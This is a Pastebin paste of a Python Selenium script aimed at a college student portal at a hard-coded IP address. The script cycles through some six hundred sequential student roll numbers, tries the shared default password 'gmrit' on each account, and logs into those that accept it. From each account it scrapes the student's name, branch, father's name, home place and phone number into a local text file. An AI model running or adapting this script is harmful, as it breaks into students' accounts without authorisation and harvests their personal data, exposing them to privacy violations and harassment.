Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- !pip3 install selenium
- !pip3 install bs4
- !apt-get update
- !apt install chromium-chromedriver
- !cp /usr/lib/chromium-browser/chromedriver /usr/bin1
- from bs4 import BeautifulSoup
- from selenium import webdriver
- import time
- url="http://115.241.205.4/spflogin/login.aspx?ReturnUrl=%2fspflogin%2fViewProfile.aspx"
- HEADERS = ({'User-Agent':
- 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
- 'Accept-Language': 'en-US, en;q=0.5'})
- options=webdriver.ChromeOptions()
- options.add_argument('--headless')
- options.add_argument('--no-sandbox')
- options.add_argument('--disable-dev-shm-usage')
- jntu_num = "19341A0"
- num = 100
- while num <= 700 :
- driver=webdriver.Chrome(executable_path='/usr/lib/chromium-browser/chromedriver',options=options)
- driver.get(url)
- #time.sleep(2)
- num += 1
- driver.find_element_by_id("txt_userid").send_keys(jntu_num+str(num))
- driver.find_element_by_id("txt_password").send_keys("gmrit")
- driver.find_element_by_id("Button1").click()
- #time.sleep(2)
- if driver.current_url == "http://115.241.205.4/spflogin/login.aspx?ReturnUrl=%2fspflogin%2fViewProfile.aspx" :
- driver.close()
- continue
- html=driver.page_source
- driver.close()
- soup = BeautifulSoup(html,'html.parser')
- data = ""
- try:
- data += soup.find('span',{'class':'mylbl250','id':'namelbl'}).text + " : "
- data += soup.find('span',{'class':'mylbl250','id':'studentname'}).text + " , "
- data += "JNTU NUM : "+jntu_num+str(num)+" , "
- data += "BRANCH : "
- data += soup.find('span',{'class':'mylbl250','id':'branch'}).text + " , "
- data += soup.find('span',{'class':'mylbl250','id':'Label12'}).text + " : "
- data += soup.find('span',{'class':'mylbl250','id':'lblfname'}).text + " , "
- data += soup.find('span',{'class':'mylbl250','id':'Label18'}).text + " : "
- data += soup.find('span',{'class':'mylbl250','id':'lblplace'}).text + " , "
- data += soup.find('span',{'class':'mylbl250','id':'Label15'}).text + " : "
- data += soup.find('span',{'class':'mylbl250','id':'lblphone'}).text+"\n"
- except:
- continue
- print(data)
- f = open("gmritDB.txt","a")
- f.write(data)
- f.close()
- !cat gmritDB.txt
Add Comment
Please, Sign In to add comment